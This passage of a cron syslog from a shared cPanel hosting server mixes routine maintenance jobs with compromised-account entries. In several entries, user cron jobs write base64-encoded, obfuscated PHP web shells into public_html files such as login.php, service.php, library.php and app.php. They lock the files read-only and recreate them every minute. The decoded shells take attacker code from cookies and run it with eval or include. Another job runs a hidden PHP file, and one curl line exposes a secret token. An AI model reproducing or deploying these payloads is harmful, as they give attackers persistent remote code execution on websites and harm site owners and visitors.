sgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:20:01 medusa CROND[15935]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:20:01 medusa CROND[15936]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:20:01 medusa CROND[15938]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:20:01 medusa CROND[15942]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:20:01 medusa CROND[15944]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:20:01 medusa CROND[15945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 23:20:01 medusa CROND[15946]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:20:01 medusa CROND[15953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:20:01 medusa CROND[15954]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:20:01 medusa CROND[15955]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 23:20:01 medusa CROND[15956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:20:01 medusa CROND[15960]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:20:01 medusa CROND[15967]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:20:01 medusa CROND[15965]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 23:20:01 medusa CROND[15957]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:20:01 medusa CROND[15976]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:20:01 medusa CROND[15966]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 23:20:01 medusa CROND[15975]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 23:20:01 medusa CROND[15971]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 23:20:01 medusa CROND[15990]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 23:20:01 medusa CROND[15991]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:20:01 medusa CROND[15992]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:20:01 medusa CROND[15986]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:20:01 medusa CROND[15996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:20:01 medusa CROND[15993]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:21:01 medusa CROND[21717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:21:01 medusa CROND[21784]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:21:01 medusa CROND[21785]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:21:01 medusa CROND[22009]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:21:01 medusa CROND[22010]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:21:01 medusa CROND[22019]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:21:01 medusa CROND[22023]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:21:01 medusa CROND[22024]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:21:01 medusa CROND[22022]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:21:01 medusa CROND[22018]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 23:21:01 medusa CROND[22020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:21:01 medusa CROND[22026]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:21:01 medusa CROND[22031]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 23:21:01 medusa CROND[22036]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:22:01 medusa CROND[26828]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 23:22:01 medusa CROND[27001]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:22:01 medusa CROND[27002]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:22:01 medusa CROND[27003]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:22:01 medusa CROND[27004]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:22:01 medusa CROND[27005]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:22:01 medusa CROND[27006]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:22:01 medusa CROND[27008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:22:01 medusa CROND[27011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
